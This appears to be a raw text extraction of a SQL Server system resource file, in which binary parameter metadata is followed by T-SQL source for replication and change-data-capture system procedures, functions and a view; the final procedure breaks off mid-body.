]@enabled_for_syncmgr0-;a@distribution_job_name0-;I@publisher0-;]@subscriber_provider0-;@[@subscriber_datasrc0-;@]@subscriber_location0-;@k@subscriber_provider_string0-;[@subscriber_catalog0-qAI@publisher0-qAO@publisher_db0-qAM@publication0-qAK@subscriber0-qAQ@subscriber_db0-qA00C@action!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_class0-֩awaiting_requests_count0-֩Mwait_time_ms0-֩Umax_wait_time_ms0-֩88
Kpdw_node_id0-6!$$Ireplica_id0-6!$$Egroup_id0-6!hhEis_local0-6!00=role0-6!xxGrole_desc0-6!00Woperational_state0-6!xxaoperational_state_desc0-6!00Sconnected_state0-6!	xx]connected_state_desc0-6!
88
glast_connect_error_number0-6!4qlast_connect_error_description0-6!==mlast_connect_error_timestamp0-6!
88
gconfigured_database_count0-
6I@publisher0-
6O@publisher_db0-
6M@publication0-
6E@article0-6C@dbname0-688
C@fileid0-688
S@cleaning_delay0-;M@publication0-;K@subscriber0-;Q@subscriber_db0-;44g@subscriber_security_mode0-;W@subscriber_login0-;]@subscriber_password0-;I@job_login0-;O@job_password0-;	G@job_name0-;
88
S@frequency_type0-;88
[@frequency_interval0-;88
m@frequency_relative_interval0-;
88
m@frequency_recurrence_factor0-;88
W@frequency_subday0-;88
i@frequency_subday_interval0-;88
g@active_start_time_of_day0-;88
c@active_end_time_of_day0-;88
Y@active_start_date0-;88
U@active_end_date!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!U"
^
Cd
I
		`	
	B]TI;RY`	- )"	Du0-[,I@publisher0-[,G@database0-I@publisher0-88
I@articleID0-88
M@publisherID0-88
E@tableID0-A@owner0-I@tablename0-G@viewname0-==_@distributortimestamp0-(M@publication0-(I@publisher0-88
Kpdw_node_id0-88
Mcomponent_id0-88
Kproperty_id0-_component_instance_id0-Qproperty_value0-==Kupdate_time0-_?@name0-_88
G@agent_id0-_M@agent_jobid0-_I@job_login0-_O@job_password0-_G@internal-1Z0-1ZC@server0-1ZG@database0-1Z00?@mode0-"7E@lineage0-ؽM@publication0-ؽhh[@ignore_distributor0-dWM@publication!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dmr%D#>%jU9Q	`L-3E)aJ&L0-4M@publication0-4E@article0-488
A@objid0-4hhK@queued_pub-88
0- I@bitstring0-ғ?@name0-ғG@database0-үO@table_server0-үQ@table_catalog0-үK@table_name0-үO@table_schema0-үE@grantor0-үE@grantee0-jO@table_server0-jQ@table_catalog0-jK@table_name0-jK@index_name0-jO@table_schema0-9nI@curdistdb-@0-@S@command_string0-M@publication0-@C@object0-S88
A@objid0-S88
A@artid0-ShhU@identity_insert0-SC@prefix0-SC@suffix0-IM@publication0-IE@article0-?:88
A@objid0-?:88
A@artid0-?:M@clause_type0-?:C@ts_col0-?:88
C@indent0-?:E@op_type0-?:[@primary_key_bitmap0-oD88
O@publisher_id0-oDO@publisher_db0-oD88
K@article_id0-oDK@xact_seqno0-oDhhA@reset0-oDM@publication0-oDU@publisher_seqno0-oDQ@ss_cplt_seqno0-ޛ88
;@id0-ޛ88
Q@error_type_id0-ޛ88
S@source_type_id0-ޛM@source_name0-ޛK@error_code0-ޛK@error_text0-ޛ88
K@session_id0-ޛ88
Q@add_event_log0-ޛ	Y@event_log_context0-ޛ
hhU@map_source_type0-uI@publisher0-uO@publisher_db0-uI@tablename0-uM@current_max0-uI@pub_range0-u88
I@threshold0-uA@range0-uI@next_seed0-u	O@max_identity0- I@publisher0- C@dbname0- e@publisher_linked_server0- hh[@drop_linked_server!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
h
%
		T		}<]|>e$Ax-Bi~7~
}<W'}2O

p
^3`-4B)+h:0-'
$$Ireplica_id0-'
88
Urouting_priority0-'
$$]read_only_replica_id0-Q.O@process_name0-Q.M@DbPrincipal0-y 9G@job_name0-y 9C@job_id0-y 9$$O@job_step_uid0-TI@publisher0-TO@publisher_db0-TM@publication0-T88
E@version0-UpT@@Ccounter0-UpTIoccurrence0-UpT>>5?value0-*W4=name0-*W$$[object_package_guid0-*W88
Cmap_key0-*W4Gmap_value0-tqce@destination_object_name0-tqcc@destination_owner_name0-eM@object_name0-U{g88
A@artid0-U{g00?@mode0-U{g00Q@publishertype0-U{gI@publisher-ohh0-o88
A@tabid0-qI@publisher0-qO@publisher_db0-qM@publication0-qK@subscriber0-qQ@subscriber_db0-q88
]@distribution_status0-q_@distribution_message0-q==Y@distribution_time0-q	88
a@distribution_duration0-hhK@queued_pub0-hhU@identity_insert0-jU@distribution_db0-jI@publisher0-jM@publication0-88
A@objid0-88
A@artid0-hhU@identity_insert0-hhK@queued_pub0-}88
I@tracer_id0-z$$G@agent_id0-z00K@agent_type0-z88
K@session_id0-z00S@session_status0-zG@database0-zg@last_processed_file_name0-z@E@message0-GC`x?@type0-GC`44=@len0-GC`88
?@prec0-GC`88
A@scale0-vi$$A@pubid0-vi$$A@artid0-vi00K@range_type0-vi00Q@ranges_needed0-vill&M@range_begin0-vill&I@range_end0-vill&W@next_range_begin0-vill&S@next_range_end!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

K

t,SRu
f
	
	m	 	GHa|=LS]=h>[`&--T)9"00-44K@whattodrop0-%0M@publication0-%0E@article0-%0K@subscriber0-%0S@destination_db0-%0<G@property0-%0@A@value0-%0I@publisher0-%0S@publisher_type0-Z88
I@src_objid0-Z88
A@artid0-Z00Q@publishertype->0-> I@agenttype0->$$C@job_id0-_44=DbId0-_44AFileId0-_88
GTimeStamp0-_KNumberReads0-_GBytesRead0-_OIoStallReadMS0-_MNumberWrites0-_MBytesWritten0-_	QIoStallWriteMS0-_
GIoStallMS0-_KBytesOnDisk0-_IFileHandle0-_88
K@DatabaseId0-_88
C@FileId0-/?class0-/?value0-/xx=name0-i88
K@agent_type0-iU@distribution_db0-+M@publication0-+E@article0-+G@ins_proc0-+G@upd_proc0-+G@del_proc0-+G@upd_trig0-+hhA@alter0-g44Kdatabase_id0-g88
Gobject_id0-g88
Eindex_id0-gIuser_seeks0-gIuser_scans0-gMuser_lookups0-gMuser_updates0-g==Qlast_user_seek0-g	==Qlast_user_scan0-g
==Ulast_user_lookup0-g==Ulast_user_update0-gMsystem_seeks0-g
Msystem_scans0-gQsystem_lookups0-gQsystem_updates0-g==Ulast_system_seek0-g==Ulast_system_scan0-g==Ylast_system_lookup0-g==Ylast_system_update0-+Q44Kdatabase_id0-+Q88
Gobject_id0-+Q88
Eindex_id0-+Q88
Upartition_number0-+Qx4xSindex_type_desc0-+Qx4x]alloc_unit_type_desc0-+Q00Kindex_depth0-+Q00Kindex_level0-+Q	>>5mavg_fragmentation_in_percent0-+Q
Qfragment_count0-+Q>>5iavg_fragment_size_in_pages0-+QIpage_count0-+Q
>>5qavg_page_space_used_in_percent0-+QMrecord_count0-+QYghost_record_count0-+Qiversion_ghost_record_count0-+Q88
emin_record_size_in_bytes0-I@publisher0-O@publisher_db0-M@publication0-P[I@EventData0-88
]@num_genhistory_rows0-88
Y@num_contents_rows0-88
[@num_tombstone_rows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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 0 -- 0-Cleanup all, 1 = From restore database, so we leave the MSpeer_lsns table
)
AS
BEGIN
	DECLARE @retcode int
	
	IF OBJECT_ID(N'MSpeer_lsns', 'U') IS NULL
    BEGIN
		RETURN 0
	END
	
	BEGIN TRANSACTION tr_del_peer_meta
	SAVE TRANSACTION tr_del_peer_meta

	/*
	 * Publisher side call for drop publication
	 */
	IF @type = 0
	BEGIN
		-- if a p2p subscription is found we must exit without cleaning up the 
		-- metadata since the subscription will need it for replicating data
		IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NOT NULL
		BEGIN
			IF EXISTS(SELECT * 
						FROM MSpeer_lsns mspl
							JOIN MSreplication_subscriptions msrs
								ON msrs.publication = mspl.originator_publication 
						WHERE msrs.publication = @publication
							OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
			BEGIN
				GOTO COMMIT_TRAN
			END
		END
	END
	/*
	 * Subscriber side call for cleanup subscription
	 */
	ELSE IF @type = 1
	BEGIN
		-- cleanup PeerToPeer Metadata only if we find 
		-- a peer lsn entry for the given publication
		IF NOT EXISTS(SELECT * 
						FROM MSpeer_lsns mspl
						WHERE mspl.originator_publication = @publication
							OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
		BEGIN
			GOTO COMMIT_TRAN
		END

		-- Cleanup the MSsubscription_articles table
		IF OBJECT_ID('MSsubscription_articles', 'U') IS NOT NULL
			AND OBJECT_ID('MSsubscription_agents', 'U') IS NOT NULL
		BEGIN
			DELETE MSsubscription_articles
				FROM MSsubscription_agents mssag
				WHERE agent_id = mssag.id
					AND (mssag.publication = @publication
						OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
			IF @@ERROR <> 0 goto UNDO
		END

		-- if this database is a republisher and we still 
		-- have peer_lsn meta-data then exit since we know
		-- that it is still being used by a publication...
		IF sys.fn_MSrepl_istranpublished(DB_NAME(),0) = 1
			AND OBJECT_ID('syspublications', 'U') IS NOT NULL
		BEGIN
			IF EXISTS(SELECT * 
						FROM MSpeer_lsns mspl
							JOIN syspublications sp
								ON sp.name = mspl.originator_publication 
						WHERE sp.name = @publication
							OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
			BEGIN
				GOTO COMMIT_TRAN
			END
		END
	END

	-- Cleanup p2p meta-data
	IF OBJECT_ID('MSpeer_lsns', 'U') IS NOT NULL
	BEGIN
        if @from_backup = 0 
        begin
		    DELETE MSpeer_lsns
			    WHERE originator_publication = @publication
				    OR LOWER(LTRIM(RTRIM(@publication))) = N'all'
		    IF @@ERROR <> 0 goto UNDO
        end
	END

	IF OBJECT_ID('MSpeer_response', 'U') IS NOT NULL
	BEGIN
		DELETE MSpeer_response
			FROM dbo.MSpeer_request
			WHERE (publication = @publication
					OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
				AND request_id = id
		IF @@ERROR <> 0 goto UNDO
	END

	IF OBJECT_ID('MSpeer_request', 'U') IS NOT NULL
	BEGIN
		DELETE MSpeer_request
			WHERE publication = @publication
				OR LOWER(LTRIM(RTRIM(@publication))) = N'all'
	IF @@ERROR <> 0 goto UNDO
	END

    	IF OBJECT_ID('MSpeer_topologyresponse', 'U') IS NOT NULL
	BEGIN
		DELETE MSpeer_topologyresponse
			FROM dbo.MSpeer_topologyrequest
			WHERE (publication = @publication
					OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
				AND request_id = id
		IF @@ERROR <> 0 goto UNDO
	END

	IF OBJECT_ID('MSpeer_topologyrequest', 'U') IS NOT NULL
	BEGIN
		DELETE MSpeer_topologyrequest
			WHERE publication = @publication
				OR LOWER(LTRIM(RTRIM(@publication))) = N'all'
		IF @@ERROR <> 0 goto UNDO
	END


    	IF OBJECT_ID('MSpeer_originatorid_history', 'U') IS NOT NULL
	BEGIN
	   if @from_backup = 0
	   begin
		    DELETE MSpeer_originatorid_history
			    WHERE originator_publication = @publication
				    OR LOWER(LTRIM(RTRIM(@publication))) = N'all'
		    IF @@ERROR <> 0 goto UNDO
           end
	END

	IF OBJECT_ID('MSpeer_conflictdetectionconfigresponse', 'U') IS NOT NULL
	BEGIN
		DELETE MSpeer_conflictdetectionconfigresponse
			FROM dbo.MSpeer_conflictdetectionconfigrequest
			WHERE (publication = @publication
					OR LOWER(LTRIM(RTRIM(@publication))) = N'all')
				AND request_id = id
		IF @@ERROR <> 0 goto UNDO
	END

	IF OBJECT_ID('MSpeer_conflictdetectionconfigrequest', 'U') IS NOT NULL
	BEGIN
		DELETE MSpeer_conflictdetectionconfigrequest
			WHERE publication = @publication
				OR LOWER(LTRIM(RTRIM(@publication))) = N'all'
		IF @@ERROR <> 0 goto UNDO
	END

COMMIT_TRAN:
	COMMIT TRANSACTION tr_del_peer_meta

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_del_peer_meta
	COMMIT TRANSACTION
	
	RETURN 1
END
0 >8create function [sys].[fn_cdc_capture_instances]
(
	@source_object_id	int
)
returns int
as
begin
	declare @count int
	
	select @count = count(*)
	from cdc.change_tables with (index = source_object_id_idx)
	where source_object_id = @source_object_id
	
	return @count
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E`	<BT0 8 
-- add it
create view sys.dm_pdw_nodes_os_process_memory as
select *, convert(int, null) pdw_node_id from sys.dm_os_process_memory
07@ w
8
create procedure sys.sp_MSreplcheck_name
    @name            		sysname,
    @parametername	sysname, -- Used to generate more actionable error message.
    @procname			sysname,
    @raise_error    		bit = 1
AS
    declare @index    int

    Set nocount on

    -- Name cannot be NULL or empty ("")
    -- Blank identifiers (" ") are allowed
    IF (@name is null OR datalength(@name) = 0)
    begin
        if @raise_error = 1
            raiserror (14043,16,-1, @parametername, @procname)
        return (1)
    end

    -- Check for proscribed characters

    declare @length int
    select @length = datalength( @name ) / 2
    select @index = 1
    while @index < @length
    begin
        if( 0 = unicode( substring( @name, @index, 1 ) ) )
        begin
            if @raise_error = 1
                raiserror(15006,16,-1,@name)
            return (1)
        end

        select @index = @index + 1
    end

    --check for other proscribed characters

    select @index = charindex( N'%', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'*', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'[', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N']', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'|', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N':', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'"', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'?', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    /*
    ** Fix 52855 - allow single quote
    **
    select @index = charindex(N'''', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    */
    select @index = charindex(N'\', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'/', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'<', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    select @index = charindex(N'>', @name)
    if (@index <> 0)
    begin
        if @raise_error = 1
            raiserror(15006,16,-1,@name)
        return (1)
    end
    
    -- return success

    return (0) 
0G 88b0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`<o	juQ0y /8CREATE PROCEDURE sys.sp_setsubscriptionxactseqno
(
    @publisher		sysname,
    @publisher_db	sysname,
    @publication	sysname,
	@xact_seqno 	varbinary(16)	
)
AS
BEGIN
    SET NOCOUNT ON
    
	DECLARE @retcode			int,
			@current_xact_seqno varbinary(16),
			@sub_streams_count	int

    -- Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1

	-- Parameter Checks : @publisher
    IF @publisher IS NULL
    BEGIN
		-- The parameter @publisher cannot be NULL.
        RAISERROR (14043, 16, -1, '@publisher', 'sp_setsubscriptionxactseqno')
        RETURN 1
    END
    
    EXEC @retcode = sys.sp_validname @publisher
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN 1
    
 	-- Parameter Checks : @publisher_db
    IF @publisher_db IS NULL
    BEGIN
		-- The parameter @publisher_db cannot be NULL.
        RAISERROR (14043, 16, -1, '@publisher_db', 'sp_setsubscriptionxactseqno')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @publisher_db
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1

    -- Parameter Check: @publication
    IF @publication IS NULL
    BEGIN
		-- The parameter @publisher cannot be NULL.
        RAISERROR (14043, 16, -1, '@publication', 'sp_setsubscriptionxactseqno')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1

	-- Parameter Check: @xact_seqno
	IF @xact_seqno IS NULL
	BEGIN
		-- The parameter @xact_seqno cannot be NULL.
        RAISERROR (14043, 16, -1, '@xact_seqno', 'sp_setsubscriptionxactseqno')
        RETURN 1
	END

	-- check to make sure we are at a subscription database
	IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NULL
	BEGIN
		-- The subscription on the Subscriber does not exist.
	    RAISERROR (20017, 16, -1)
	    RETURN 1
	END 

	-- check if publication is independent agent if not @publication must be all
	IF UPPER(@publication) != N'ALL'
		AND NOT EXISTS (SELECT *
						FROM MSreplication_subscriptions 
						WHERE UPPER(publisher) = UPPER(@publisher) 
							AND publisher_db = @publisher_db 
							AND publication = @publication)
		AND EXISTS (SELECT *
						FROM MSreplication_subscriptions 
						WHERE UPPER(publisher) = UPPER(@publisher) 
							AND publisher_db = @publisher_db 
							AND publication = N''
							AND independent_agent = 0)
	BEGIN
		-- The subscription to publication '%s' was not found but a shared agent does exist. To specify a subscription to a publication that is replicated via a shared agent specify '%s' for the publication name.
		RAISERROR(22579, 16, -1, @publication, N'ALL')
		RETURN 1
	END
					
    -- Peer-To-Peer subscriptions do not support this feature
    IF OBJECT_ID(N'MSpeer_lsns', 'U') is not NULL
    BEGIN
        IF EXISTS(SELECT * 
                    FROM MSpeer_lsns
                    WHERE originator = UPPER(@publisher)
                        AND originator_db = @publisher_db
                        AND originator_publication = @publication)
        BEGIN
        	-- Peer-To-Peer publications do not support 'sp_setsubscriptionxactseqno'. Please change the '@publication' parameter value.
			RAISERROR(20646, 16, -1, '''sp_setsubscriptionxactseqno''', '@publication')
            RETURN 1
        END        
    END

    -- if there are mstreams ensure that the last commit xact_seqno 
	-- match for all streams before allowing this process to cont...
	IF (SELECT COUNT(*)
			FROM MSreplication_subscriptions msrs1
				JOIN MSreplication_subscriptions msrs2
					ON UPPER(msrs1.publisher) = UPPER(msrs2.publisher) 
						AND msrs1.publisher_db = msrs2.publisher_db 
						AND msrs1.publication = msrs2.publication
						AND CAST(SUBSTRING(msrs1.transaction_timestamp, 1, 15) AS binary(15)) != CAST(SUBSTRING(msrs2.transaction_timestamp, 1, 15) AS binary(15))
			WHERE UPPER(msrs1.publisher) = UPPER(@publisher) 
				AND msrs1.publisher_db = @publisher_db 
				AND (msrs1.publication = @publication
					OR (msrs1.publication = N''
						AND msrs1.independent_agent = 0
						AND UPPER(@publication) = N'ALL'))) > 0
	BEGIN
